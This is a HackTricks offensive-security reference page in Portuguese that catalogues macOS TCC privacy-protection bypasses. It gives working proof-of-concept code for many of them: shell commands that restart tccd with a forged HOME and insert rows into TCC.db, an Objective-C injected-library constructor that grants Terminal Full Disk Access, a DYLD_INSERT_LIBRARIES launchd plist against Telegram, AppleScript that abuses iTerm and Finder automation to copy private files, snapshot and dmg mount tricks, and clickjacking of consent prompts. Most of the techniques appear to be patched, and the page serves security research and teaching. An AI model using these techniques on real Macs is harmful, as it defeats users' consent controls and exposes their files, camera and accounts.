# macOS TCC Bypasses {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} {% endhint %} {% endhint %} ## Por funcionalidade ### Bypass de Escrita Isso não é um bypass, é apenas como o TCC funciona: **Ele não protege contra escrita**. Se o Terminal **não tiver acesso para ler a Área de Trabalho de um usuário, ainda pode escrever nela**: ```shell-session username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted username@hostname ~ % echo asd > Desktop/lalala username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted username@hostname ~ % cat Desktop/lalala asd ``` O **atributo estendido `com.apple.macl`** é adicionado ao novo **arquivo** para dar ao **aplicativo criador** acesso para lê-lo. ### TCC ClickJacking É possível **colocar uma janela sobre o prompt do TCC** para fazer o usuário **aceitá-lo** sem perceber. Você pode encontrar um PoC em [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

### Solicitação TCC por nome arbitrário O atacante pode **criar aplicativos com qualquer nome** (por exemplo, Finder, Google Chrome...) no **`Info.plist`** e fazer com que ele solicite acesso a algum local protegido pelo TCC. O usuário pensará que o aplicativo legítimo é quem está solicitando esse acesso.\ Além disso, é possível **remover o aplicativo legítimo do Dock e colocar o falso nele**, para que, quando o usuário clicar no falso (que pode usar o mesmo ícone), ele possa chamar o legítimo, pedir permissões do TCC e executar um malware, fazendo o usuário acreditar que o aplicativo legítimo solicitou o acesso.
Mais informações e PoC em: {% content-ref url="../../../macos-privilege-escalation.md" %} [macos-privilege-escalation.md](../../../macos-privilege-escalation.md) {% endcontent-ref %} ### Bypass SSH Por padrão, um acesso via **SSH costumava ter "Acesso Completo ao Disco"**. Para desativar isso, você precisa tê-lo listado, mas desativado (removê-lo da lista não removerá esses privilégios): ![](<../../../../../.gitbook/assets/image (1077).png>) Aqui você pode encontrar exemplos de como alguns **malwares conseguiram contornar essa proteção**: * [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) {% hint style="danger" %} Observe que agora, para poder habilitar o SSH, você precisa de **Acesso Completo ao Disco** {% endhint %} ### Manipulação de extensões - CVE-2022-26767 O atributo **`com.apple.macl`** é dado a arquivos para dar a **um determinado aplicativo permissões para lê-lo.** Este atributo é definido ao **arrastar e soltar** um arquivo sobre um aplicativo, ou quando um usuário **clica duas vezes** em um arquivo para abri-lo com o **aplicativo padrão**. Portanto, um usuário poderia **registrar um aplicativo malicioso** para manipular todas as extensões e chamar os Serviços de Lançamento para **abrir** qualquer arquivo (assim, o arquivo malicioso terá acesso para lê-lo). ### iCloud O direito **`com.apple.private.icloud-account-access`** torna possível comunicar-se com o serviço XPC **`com.apple.iCloudHelper`**, que **fornecerá tokens do iCloud**. **iMovie** e **Garageband** tinham esse direito e outros que permitiam. Para mais **informações** sobre a exploração para **obter tokens do iCloud** desse direito, confira a palestra: [**#OBTS v5.0: "O que acontece no seu Mac, fica no iCloud da Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0) ### kTCCServiceAppleEvents / Automação Um aplicativo com a permissão **`kTCCServiceAppleEvents`** poderá **controlar outros aplicativos**. Isso significa que ele poderá **abusar das permissões concedidas aos outros aplicativos**. Para mais informações sobre Apple Scripts, confira: {% content-ref url="macos-apple-scripts.md" %} [macos-apple-scripts.md](macos-apple-scripts.md) {% endcontent-ref %} Por exemplo, se um aplicativo tem **permissão de Automação sobre `iTerm`**, por exemplo, neste exemplo **`Terminal`** tem acesso ao iTerm:
#### Sobre o iTerm O Terminal, que não tem FDA, pode chamar o iTerm, que tem, e usá-lo para realizar ações: {% code title="iterm.script" %} ```applescript tell application "iTerm" activate tell current window create tab with default profile end tell tell current session of current window write text "cp ~/Desktop/private.txt /tmp" end tell end tell ``` {% endcode %} ```bash osascript iterm.script ``` #### Over Finder Ou se um aplicativo tiver acesso ao Finder, ele poderia usar um script como este: ```applescript set a_user to do shell script "logname" tell application "Finder" set desc to path to home folder set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text end tell do shell script "rm " & POSIX path of (copyFile as alias) ``` ## Comportamento do App ### CVE-2020–9934 - TCC O **daemon tccd** do userland estava usando a variável de ambiente **`HOME`** para acessar o banco de dados de usuários do TCC em: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** De acordo com [este post do Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) e porque o daemon TCC está sendo executado via `launchd` dentro do domínio do usuário atual, é possível **controlar todas as variáveis de ambiente** passadas para ele.\ Assim, um **atacante poderia definir a variável de ambiente `$HOME`** em **`launchctl`** para apontar para um **diretório controlado**, **reiniciar** o **daemon TCC** e então **modificar diretamente o banco de dados TCC** para se conceder **todas as permissões TCC disponíveis** sem nunca solicitar ao usuário final.\ PoC: ```bash # reset database just in case (no cheating!) $> tccutil reset All # mimic TCC's directory structure from ~/Library $> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC" # cd into the new directory $> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/" # set launchd $HOME to this temporary directory $> launchctl setenv HOME /tmp/tccbypass # restart the TCC daemon $> launchctl stop com.apple.tccd && launchctl start com.apple.tccd # print out contents of TCC database and then give Terminal access to Documents $> sqlite3 TCC.db .dump $> sqlite3 TCC.db "INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder', 'com.apple.Terminal', 0, 1, 1, X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003', NULL, NULL, 'UNUSED', NULL, NULL, 1333333333333337);" # list Documents directory without prompting the end user $> ls ~/Documents ``` ### CVE-2021-30761 - Notas Notas tinha acesso a locais protegidos pelo TCC, mas quando uma nota é criada, ela é **criada em um local não protegido**. Assim, você poderia pedir para notas copiar um arquivo protegido em uma nota (então em um local não protegido) e depois acessar o arquivo:
### CVE-2021-30782 - Translocação O binário `/usr/libexec/lsd` com a biblioteca `libsecurity_translocate` tinha a permissão `com.apple.private.nullfs_allow`, que permitia criar um **nullfs** mount e tinha a permissão `com.apple.private.tcc.allow` com **`kTCCServiceSystemPolicyAllFiles`** para acessar todos os arquivos. Era possível adicionar o atributo de quarentena a "Library", chamar o serviço XPC **`com.apple.security.translocation`** e então ele mapeava Library para **`$TMPDIR/AppTranslocation/d/d/Library`** onde todos os documentos dentro de Library poderiam ser **acessados**. ### CVE-2023-38571 - Música & TV **`Music`** tem um recurso interessante: Quando está em execução, ele **importa** os arquivos soltos para **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** na "biblioteca de mídia" do usuário. Além disso, chama algo como: **`rename(a, b);`** onde `a` e `b` são: * `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` * `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` Esse comportamento **`rename(a, b);`** é vulnerável a uma **Condição de Corrida**, pois é possível colocar dentro da pasta `Automatically Add to Music.localized` um arquivo **TCC.db** falso e então, quando a nova pasta (b) é criada para copiar o arquivo, deletá-lo e apontá-lo para **`~/Library/Application Support/com.apple.TCC`**/. ### SQLITE\_SQLLOG\_DIR - CVE-2023-32422 Se **`SQLITE_SQLLOG_DIR="path/folder"`** basicamente significa que **qualquer banco de dados aberto é copiado para esse caminho**. Neste CVE, esse controle foi abusado para **escrever** dentro de um **banco de dados SQLite** que será **aberto por um processo com FDA o banco de dados TCC**, e então abusar de **`SQLITE_SQLLOG_DIR`** com um **symlink no nome do arquivo** para que, quando aquele banco de dados for **aberto**, o usuário **TCC.db é sobrescrito** com o que foi aberto.\ **Mais info** [**na descrição**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **e** [**na palestra**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s). ### **SQLITE\_AUTO\_TRACE** Se a variável de ambiente **`SQLITE_AUTO_TRACE`** estiver definida, a biblioteca **`libsqlite3.dylib`** começará a **registrar** todas as consultas SQL. Muitos aplicativos usaram essa biblioteca, então era possível registrar todas as suas consultas SQLite. Vários aplicativos da Apple usaram essa biblioteca para acessar informações protegidas pelo TCC. ```bash # Set this env variable everywhere launchctl setenv SQLITE_AUTO_TRACE 1 ``` ### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407 Esta **variável de ambiente é usada pelo framework `Metal`** que é uma dependência de vários programas, notavelmente `Music`, que possui FDA. Definindo o seguinte: `MTL_DUMP_PIPELINES_TO_JSON_FILE="caminho/nome"`. Se `caminho` for um diretório válido, o bug será acionado e podemos usar `fs_usage` para ver o que está acontecendo no programa: * um arquivo será `open()`ado, chamado `caminho/.dat.nosyncXXXX.XXXXXX` (X é aleatório) * uma ou mais `write()`s escreverão o conteúdo no arquivo (não controlamos isso) * `caminho/.dat.nosyncXXXX.XXXXXX` será `renamed()` para `caminho/nome` É uma gravação de arquivo temporário, seguida por um **`rename(old, new)`** **que não é seguro.** Não é seguro porque precisa **resolver os caminhos antigos e novos separadamente**, o que pode levar algum tempo e pode ser vulnerável a uma Condição de Corrida. Para mais informações, você pode conferir a função `xnu` `renameat_internal()`. {% hint style="danger" %} Então, basicamente, se um processo privilegiado estiver renomeando de uma pasta que você controla, você poderia ganhar um RCE e fazer com que ele acesse um arquivo diferente ou, como neste CVE, abrir o arquivo que o aplicativo privilegiado criou e armazenar um FD. Se o renomear acessar uma pasta que você controla, enquanto você modificou o arquivo de origem ou tem um FD para ele, você muda o arquivo (ou pasta) de destino para apontar para um symlink, assim você pode escrever sempre que quiser. {% endhint %} Este foi o ataque no CVE: Por exemplo, para sobrescrever o `TCC.db` do usuário, podemos: * criar `/Users/hacker/ourlink` para apontar para `/Users/hacker/Library/Application Support/com.apple.TCC/` * criar o diretório `/Users/hacker/tmp/` * definir `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` * acionar o bug executando `Music` com esta variável de ambiente * capturar o `open()` de `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X é aleatório) * aqui também `open()` este arquivo para escrita e segurar o descritor de arquivo * trocar atomicamente `/Users/hacker/tmp` com `/Users/hacker/ourlink` **em um loop** * fazemos isso para maximizar nossas chances de sucesso, pois a janela de corrida é bastante estreita, mas perder a corrida tem desvantagens negligenciáveis * esperar um pouco * testar se tivemos sorte * se não, executar novamente do início Mais informações em [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html) {% hint style="danger" %} Agora, se você tentar usar a variável de ambiente `MTL_DUMP_PIPELINES_TO_JSON_FILE`, os aplicativos não serão iniciados {% endhint %} ### Apple Remote Desktop Como root, você poderia habilitar este serviço e o **agente ARD terá acesso total ao disco**, que poderia ser abusado por um usuário para fazer com que ele copie um novo **banco de dados de usuários TCC**. ## Por **NFSHomeDirectory** O TCC usa um banco de dados na pasta HOME do usuário para controlar o acesso a recursos específicos do usuário em **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\ Portanto, se o usuário conseguir reiniciar o TCC com uma variável de ambiente $HOME apontando para uma **pasta diferente**, o usuário poderia criar um novo banco de dados TCC em **/Library/Application Support/com.apple.TCC/TCC.db** e enganar o TCC para conceder qualquer permissão TCC a qualquer aplicativo. {% hint style="success" %} Observe que a Apple usa a configuração armazenada no perfil do usuário no atributo **`NFSHomeDirectory`** para o **valor de `$HOME`**, então se você comprometer um aplicativo com permissões para modificar esse valor (**`kTCCServiceSystemPolicySysAdminFiles`**), você pode **armar** essa opção com um bypass do TCC. {% endhint %} ### [CVE-2020–9934 - TCC](./#c19b) ### [CVE-2020-27937 - Directory Utility](./#cve-2020-27937-directory-utility-1) ### CVE-2021-30970 - Powerdir O **primeiro POC** usa [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) e [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) para modificar a **pasta HOME** do usuário. 1. Obter um blob _csreq_ para o aplicativo alvo. 2. Plantar um arquivo _TCC.db_ falso com acesso necessário e o blob _csreq_. 3. Exportar a entrada de Serviços de Diretório do usuário com [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/). 4. Modificar a entrada de Serviços de Diretório para mudar o diretório home do usuário. 5. Importar a entrada de Serviços de Diretório modificada com [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/). 6. Parar o _tccd_ do usuário e reiniciar o processo. O segundo POC usou **`/usr/libexec/configd`** que tinha `com.apple.private.tcc.allow` com o valor `kTCCServiceSystemPolicySysAdminFiles`.\ Era possível executar **`configd`** com a opção **`-t`**, um atacante poderia especificar um **Bundle personalizado para carregar**. Portanto, a exploração **substitui** o método **`dsexport`** e **`dsimport`** de mudar o diretório home do usuário por uma **injeção de código configd**. Para mais informações, confira o [**relatório original**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/). ## Por injeção de processo Existem diferentes técnicas para injetar código dentro de um processo e abusar de suas permissões TCC: {% content-ref url="../../../macos-proces-abuse/" %} [macos-proces-abuse](../../../macos-proces-abuse/) {% endcontent-ref %} Além disso, a injeção de processo mais comum para contornar o TCC encontrada é via **plugins (load library)**.\ Plugins são códigos extras geralmente na forma de bibliotecas ou plist, que serão **carregados pelo aplicativo principal** e serão executados sob seu contexto. Portanto, se o aplicativo principal tiver acesso a arquivos restritos pelo TCC (via permissões ou direitos concedidos), o **código personalizado também terá**. ### CVE-2020-27937 - Directory Utility O aplicativo `/System/Library/CoreServices/Applications/Directory Utility.app` tinha a permissão **`kTCCServiceSystemPolicySysAdminFiles`**, carregava plugins com extensão **`.daplug`** e **não tinha o runtime** endurecido. Para armar este CVE, o **`NFSHomeDirectory`** é **mudado** (abusando da permissão anterior) para poder **assumir o banco de dados TCC dos usuários** para contornar o TCC. Para mais informações, confira o [**relatório original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/). ### CVE-2020-29621 - Coreaudiod O binário **`/usr/sbin/coreaudiod`** tinha as permissões `com.apple.security.cs.disable-library-validation` e `com.apple.private.tcc.manager`. A primeira **permitindo injeção de código** e a segunda dando acesso para **gerenciar o TCC**. Este binário permitia carregar **plugins de terceiros** da pasta `/Library/Audio/Plug-Ins/HAL`. Portanto, era possível **carregar um plugin e abusar das permissões TCC** com este PoC: ```objectivec #import #import extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess); void add_tcc_entry() { CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles"); CFStringRef bundleID = CFSTR("com.apple.Terminal"); CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple"); SecRequirementRef requirement = NULL; SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement); CFDataRef requirementData = NULL; SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData); TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue); } __attribute__((constructor)) static void constructor(int argc, const char **argv) { add_tcc_entry(); NSLog(@"[+] Exploitation finished..."); exit(0); ``` Para mais informações, consulte o [**relatório original**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/). ### Plug-Ins da Camada de Abstração de Dispositivos (DAL) Aplicativos do sistema que abrem o fluxo da câmera via Core Media I/O (aplicativos com **`kTCCServiceCamera`**) carregam **no processo esses plugins** localizados em `/Library/CoreMediaIO/Plug-Ins/DAL` (não restrito pelo SIP). Basta armazenar lá uma biblioteca com o **construtor** comum para **injetar código**. Vários aplicativos da Apple eram vulneráveis a isso. ### Firefox O aplicativo Firefox tinha as permissões `com.apple.security.cs.disable-library-validation` e `com.apple.security.cs.allow-dyld-environment-variables`: ```xml codesign -d --entitlements :- /Applications/Firefox.app Executable=/Applications/Firefox.app/Contents/MacOS/firefox com.apple.security.cs.allow-unsigned-executable-memory com.apple.security.cs.disable-library-validation com.apple.security.cs.allow-dyld-environment-variables com.apple.security.device.audio-input com.apple.security.device.camera com.apple.security.personal-information.location com.apple.security.smartcard ``` Para mais informações sobre como explorar isso facilmente, [**verifique o relatório original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/). ### CVE-2020-10006 O binário `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` tinha as permissões **`com.apple.private.tcc.allow`** e **`com.apple.security.get-task-allow`**, que permitiam injetar código dentro do processo e usar os privilégios do TCC. ### CVE-2023-26818 - Telegram O Telegram tinha as permissões **`com.apple.security.cs.allow-dyld-environment-variables`** e **`com.apple.security.cs.disable-library-validation`**, então era possível abusar disso para **obter acesso às suas permissões**, como gravar com a câmera. Você pode [**encontrar o payload na descrição**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). Note como usar a variável env para carregar uma biblioteca; um **plist personalizado** foi criado para injetar essa biblioteca e **`launchctl`** foi usado para lançá-la: ```xml Label com.telegram.launcher RunAtLoad EnvironmentVariables DYLD_INSERT_LIBRARIES /tmp/telegram.dylib ProgramArguments /Applications/Telegram.app/Contents/MacOS/Telegram StandardOutPath /tmp/telegram.log StandardErrorPath /tmp/telegram.log ``` ```bash launchctl load com.telegram.launcher.plist ``` ## Por invocações abertas É possível invocar **`open`** mesmo enquanto está em sandbox ### Scripts de Terminal É bastante comum conceder **Acesso Completo ao Disco (FDA)** a terminais, pelo menos em computadores usados por pessoas da área de tecnologia. E é possível invocar scripts **`.terminal`** usando isso. Scripts **`.terminal`** são arquivos plist como este com o comando a ser executado na chave **`CommandString`**: ```xml CommandString cp ~/Desktop/private.txt /tmp/; ProfileCurrentVersion 2.0600000000000001 RunCommandAsShell name exploit type Window Settings ``` Uma aplicação poderia escrever um script de terminal em um local como /tmp e lançá-lo com um comando como: ```objectivec // Write plist in /tmp/tcc.terminal [...] NSTask *task = [[NSTask alloc] init]; NSString * exploit_location = @"/tmp/tcc.terminal"; task.launchPath = @"/usr/bin/open"; task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app", exploit_location]; task.standardOutput = pipe; [task launch]; ``` ## By mounting ### CVE-2020-9771 - mount\_apfs TCC bypass e escalonamento de privilégios **Qualquer usuário** (mesmo os sem privilégios) pode criar e montar um snapshot do Time Machine e **acessar TODOS os arquivos** desse snapshot.\ O **único privilégio** necessário é que o aplicativo usado (como `Terminal`) tenha acesso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que precisa ser concedido por um administrador. {% code overflow="wrap" %} ```bash # Create snapshot tmutil localsnapshot # List snapshots tmutil listlocalsnapshots / Snapshots for disk /: com.apple.TimeMachine.2023-05-29-001751.local # Generate folder to mount it cd /tmp # I didn it from this folder mkdir /tmp/snap # Mount it, "noowners" will mount the folder so the current user can access everything /sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap # Access it ls /tmp/snap/Users/admin_user # This will work ``` {% endcode %} Uma explicação mais detalhada pode ser [**encontrada no relatório original**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.** ### CVE-2021-1784 & CVE-2021-30808 - Montar sobre o arquivo TCC Mesmo que o arquivo do banco de dados TCC esteja protegido, era possível **montar sobre o diretório** um novo arquivo TCC.db: {% code overflow="wrap" %} ```bash # CVE-2021-1784 ## Mount over Library/Application\ Support/com.apple.TCC hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg # CVE-2021-1784 ## Mount over ~/Library hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg ``` {% endcode %} ```python # This was the python function to create the dmg def create_dmg(): os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null") os.system("mkdir /tmp/mnt") os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null") os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/") os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db") os.system("hdiutil detach /tmp/mnt 1>/dev/null") ``` Verifique o **exploit completo** na [**escrita original**](https://theevilbit.github.io/posts/cve-2021-30808/). ### asr A ferramenta **`/usr/sbin/asr`** permitiu copiar todo o disco e montá-lo em outro lugar, contornando as proteções do TCC. ### Serviços de Localização Há um terceiro banco de dados do TCC em **`/var/db/locationd/clients.plist`** para indicar os clientes autorizados a **acessar os serviços de localização**.\ A pasta **`/var/db/locationd/` não estava protegida contra montagem de DMG**, então era possível montar nosso próprio plist. ## Por aplicativos de inicialização {% content-ref url="../../../../macos-auto-start-locations.md" %} [macos-auto-start-locations.md](../../../../macos-auto-start-locations.md) {% endcontent-ref %} ## Por grep Em várias ocasiões, arquivos armazenarão informações sensíveis como e-mails, números de telefone, mensagens... em locais não protegidos (o que conta como uma vulnerabilidade na Apple).
## Cliques Sintéticos Isso não funciona mais, mas [**funcionou no passado**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
Outra maneira usando [**eventos CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
## Referência * [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8) * [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/) * [**20+ Maneiras de Contornar Seus Mecanismos de Privacidade do macOS**](https://www.youtube.com/watch?v=W9GxnP8c8FU) * [**Knockout Win Against TCC - 20+ NOVAS Maneiras de Contornar Seus Mecanismos de Privacidade do MacOS**](https://www.youtube.com/watch?v=a9hsxPdRxsY) {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}